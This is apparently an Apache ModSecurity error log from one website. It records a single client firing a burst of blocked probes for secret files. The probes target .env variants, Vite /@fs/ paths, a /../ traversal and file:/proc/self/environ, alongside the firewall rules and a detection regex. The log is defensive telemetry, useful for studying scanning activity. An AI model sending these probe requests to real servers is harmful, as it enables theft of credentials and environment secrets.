[Sun Oct 25 13:00:04.369760 2026] [security2:error] [pid 2862822:tid 2862822] [client 34.146.223.226:42484] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/@fs/app/.env.local"] [unique_id "at41lMsxP9Gbm0IYLGL8jgAAACI"]
[Sun Oct 25 13:00:04.369941 2026] [security2:error] [pid 2862875:tid 2862875] [client 34.146.223.226:42450] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at41lJhqgnbPQM86Wt8CdAAAAEc"]
[Sun Oct 25 13:00:04.370549 2026] [security2:error] [pid 2862875:tid 2862875] [client 34.146.223.226:42450] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at41lJhqgnbPQM86Wt8CdAAAAEc"]
[Sun Oct 25 13:00:04.370839 2026] [security2:error] [pid 2862875:tid 2862875] [client 34.146.223.226:42450] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at41lJhqgnbPQM86Wt8CdAAAAEc"]
[Sun Oct 25 13:00:04.454530 2026] [security2:error] [pid 2862816:tid 2862816] [client 34.146.223.226:42496] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/app/.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/@fs/app/.env.production"] [unique_id "at41lHS4s6KZXoJ_WeAzlwAAABw"]
[Sun Oct 25 13:00:04.455138 2026] [security2:error] [pid 2862816:tid 2862816] [client 34.146.223.226:42496] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/@fs/app/.env.production"] [unique_id "at41lHS4s6KZXoJ_WeAzlwAAABw"]
[Sun Oct 25 13:00:04.455418 2026] [security2:error] [pid 2862816:tid 2862816] [client 34.146.223.226:42496] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/@fs/app/.env.production"] [unique_id "at41lHS4s6KZXoJ_WeAzlwAAABw"]
[Sun Oct 25 13:00:04.490167 2026] [security2:error] [pid 2862845:tid 2862845] [client 34.146.223.226:42486] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/src/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/@fs/src/.env"] [unique_id "at41lFR7hiVQnPOARxKt1gAAAC4"]
[Sun Oct 25 13:00:04.491118 2026] [security2:error] [pid 2862845:tid 2862845] [client 34.146.223.226:42486] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/@fs/src/.env"] [unique_id "at41lFR7hiVQnPOARxKt1gAAAC4"]
[Sun Oct 25 13:00:04.491559 2026] [security2:error] [pid 2862845:tid 2862845] [client 34.146.223.226:42486] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/@fs/src/.env"] [unique_id "at41lFR7hiVQnPOARxKt1gAAAC4"]
[Sun Oct 25 13:00:04.493129 2026] [security2:error] [pid 2862773:tid 2862773] [client 34.146.223.226:42556] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /@fs/../.env?import&raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at41lFY5e6yJWIYGXiqDNgAAAAk"]
[Sun Oct 25 13:00:04.493329 2026] [security2:error] [pid 2862773:tid 2862773] [client 34.146.223.226:42556] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at41lFY5e6yJWIYGXiqDNgAAAAk"]
[Sun Oct 25 13:00:04.493974 2026] [security2:error] [pid 2862773:tid 2862773] [client 34.146.223.226:42556] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at41lFY5e6yJWIYGXiqDNgAAAAk"]
[Sun Oct 25 13:00:04.494291 2026] [security2:error] [pid 2862773:tid 2862773] [client 34.146.223.226:42556] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at41lFY5e6yJWIYGXiqDNgAAAAk"]
[Sun Oct 25 13:00:04.517163 2026] [security2:error] [pid 2862865:tid 2862865] [client 34.146.223.226:42518] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at41lHvX2oTK9P2LzVmH8gAAAD8"]
[Sun Oct 25 13:00:04.517590 2026] [security2:error] [pid 2862865:tid 2862865] [client 34.146.223.226:42518] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at41lHvX2oTK9P2LzVmH8gAAAD8"]
[Sun Oct 25 13:00:04.517908 2026] [security2:error] [pid 2862865:tid 2862865] [client 34.146.223.226:42518] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at41lHvX2oTK9P2LzVmH8gAAAD8"]
[Sun Oct 25 13:00:04.581658 2026] [security2:error] [pid 2862806:tid 2862806] [client 34.146.223.226:42504] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at41lBKqFxYAd_HiRLelowAAABQ"]
[Sun Oct 25 13:00:04.582490 2026] [security2:error] [pid 2862806:tid 2862806] [client 34.146.223.226:42504] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at41lBKqFxYAd_HiRLelowAAABQ"]
[Sun Oct 25 13:00:04.582982 2026] [security2:error] [pid 2862806:tid 2862806] [client 34.146.223.226:42504] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at41lBKqFxYAd_HiRLelowAAABQ"]
[Sun Oct 25 13:00:04.641321 2026] [security2:error] [pid 2867813:tid 2867813] [client 34.146.223.226:42566] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:filename. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "41"] [id "930120"] [rev "4"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:filename: file:/proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/__vite_rsc_findSourceMapURL"] [unique_id "at41lKVYo_M4gKYSsLPZawAAAAA"]
[Sun Oct 25 13:00:04.642044 2026] [security2:error] [pid 2867813:tid 2867813] [client 34.146.223.226:42566] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/__vite_rsc_findSourceMapURL"] [unique_id "at41lKVYo_M4gKYSsLPZawAAAAA"]
[Sun Oct 25 13:00:04.642382 2026] [security2:error] [pid 2867813:tid 2867813] [client 34.146.223.226:42566] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): OS File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/__vite_rsc_findSourceMapURL"] [unique_id "at41lKVYo_M4gKYSsLPZawAAAAA"]
[Sun Oct 25 13:00:04.696772 2026] [security2:error] [pid 2867815:tid 2867815] [client 34.146.223.226:42536] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at41lN_V-Jr3YG3T82jpXgAAAAI"]
[Sun Oct 25 13:00:04.697348 2026] [security2:error] [pid 2867815:tid 2867815] [client 34.146.223.226:42536] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at41lN_V-Jr3YG3T82jpXgAAAAI"]
[Sun Oct 25 13:00:04.697674 2026] [security2:error] [pid 2867815:tid 2867815] [client 34.146.223.226:42536] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at41lN_V-Jr3YG3T82jpXgAAAAI"]
[Sun Oct 25 13:00:04.700125 2026] [security2:error] [pid 2862816:tid 2862816] [client 34.146.223.226:42496] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at41lHS4s6KZXoJ_WeAzmAAAABw"]
[Sun Oct 25 13:00:04.700442 2026] [security2:error] [pid 2862816:tid 2862816] [client 34.146.223.226:42496] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at41lHS4s6KZXoJ_WeAzmAAAABw"]
[Sun Oct 25 13:00:04.700678 2026] [security2:error] [pid 2862816:tid 2862816] [client 34.146.223.226:42496] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at41lHS4s6KZXoJ_WeAzmAAAABw"]
[Sun Oct 25 13:00:04.713527 2026] [security2:error] [pid 2862845:tid 2862845] [client 34.146.223.226:42486] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at41lFR7hiVQnPOARxKt1wAAAC4"]
[Sun Oct 25 13:00:04.713527 2026] [security2:error] [pid 2867814:tid 2867814] [client 34.146.223.226:42552] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at41lCdCovcRTBYCzlPtwQAAAAE"]
[Sun Oct 25 13:00:04.714015 2026] [security2:error] [pid 2862845:tid 2862845] [client 34.146.223.226:42486] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at41lFR7hiVQnPOARxKt1wAAAC4"]
[Sun Oct 25 13:00:04.714031 2026] [security2:error] [pid 2867814:tid 2867814] [client 34.146.223.226:42552] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at41lCdCovcRTBYCzlPtwQAAAAE"]
[Sun Oct 25 13:00:04.714292 2026] [security2:error] [pid 2862845:tid 2862845] [client 34.146.223.226:42486] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at41lFR7hiVQnPOARxKt1wAAAC4"]
[Sun Oct 25 13:00:04.714315 2026] [security2:error] [pid 2867814:tid 2867814] [client 34.146.223.226:42552] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at41lCdCovcRTBYCzlPtwQAAAAE"]
[Sun Oct 25 13:00:04.717073 2026] [security2:error] [pid 2862773:tid 2862773] [client 34.146.223.226:42556] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at41lFY5e6yJWIYGXiqDNwAAAAk"]
[Sun Oct 25 13:00:04.717415 2026] [security2:error] [pid 2862773:tid 2862773] [client 34.146.223.226:42556] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at41lFY5e6yJWIYGXiqDNwAAAAk"]
[Sun Oct 25 13:00:04.717657 2026] [security2:error] [pid 2862773:tid 2862773] [client 34.146.223.226:42556] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at41lFY5e6yJWIYGXiqDNwAAAAk"]
[Sun Oct 25 13:00:04.735089 2026] [security2:error] [pid 2858941:tid 2858941] [client 34.146.223.226:42474] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at41lGu-o0KBJy2cxdBI6gAAAAM"]
